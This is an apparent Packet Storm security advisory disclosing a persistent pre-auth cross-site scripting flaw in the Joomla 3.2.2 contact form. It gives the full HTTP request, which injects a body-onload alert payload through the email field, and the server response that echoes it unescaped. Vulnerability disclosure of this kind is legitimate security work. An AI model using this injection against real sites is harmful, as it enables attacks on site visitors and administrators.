Joomla 3.2.2 Cross Site Scripting

2014-03-03T00:00:00
ID PACKETSTORM:125512
Type packetstorm
Reporter HauntIT
Modified 2014-03-03T00:00:00

Description

                                        
                                            `# ==============================================================  
# Title ...| Persistent pre-auth XSS in Joomla  
# Version .| Joomla 3.2.2   
# Date ....| 3.03.2014  
# Found ...| HauntIT Blog  
# Home ....| http://www.joomla.org  
# ==============================================================  
  
  
# ==============================================================  
# XSS  
  
---<request>---  
POST /k/cms/joomla/index.php/single-contact HTTP/1.1  
Host: 10.149.14.62  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: pl,en-us;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://10.149.14.62/k/cms/joomla/index.php/single-contact  
Cookie: admuk5313c0e19de9d=9la3c8djsk100gfcj6ddsd7g25; dfced3b8ef8245f626640a33bb1d908f=l0r4lpqr65v7ivh2cnm4b4tg11; 733752f9e99dd50c7cf104d16febe9d2=dh6mbd40ocmt8h5qbgt0s4osq6; 2e0d6af3de5fea932838f4b111e635b5=ubsdq3u299hv0uaoo4pf1kmg45  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 288  
  
jform%5Bcontact_name%5D=aaaaaa&jform%5Bcontact_email%5D=a"><body%20onload=alert(123)>@b.com&jform%5Bcontact_subject%5D=asdas&jform%5Bcontact_message%5D=dasdasdasd&jform%5Bcontact_email_copy%5D=1&option=com_contact&task=contact.submit&return=&id=1%3Aname&e328236e3b63be0be16a0d0d841f63f9=1  
---<request>---  
  
  
And:  
  
---<response>---  
(...)  
title="<strong>Email</strong><br />Email for contact">Email<span class="star"> *</span></label></div>  
<div class="controls"><input type="email" name="jform[contact_email]" class="validate-email" id="jform_contact_email" value="a"><body onload=alert(123)>@b.com" size="30" required aria-required="true" /></div>  
</div>  
(...)  
---<response>---  
  
  
# ==============================================================  
# More @ http://HauntIT.blogspot.com  
# Thanks! ;)  
# o/   
`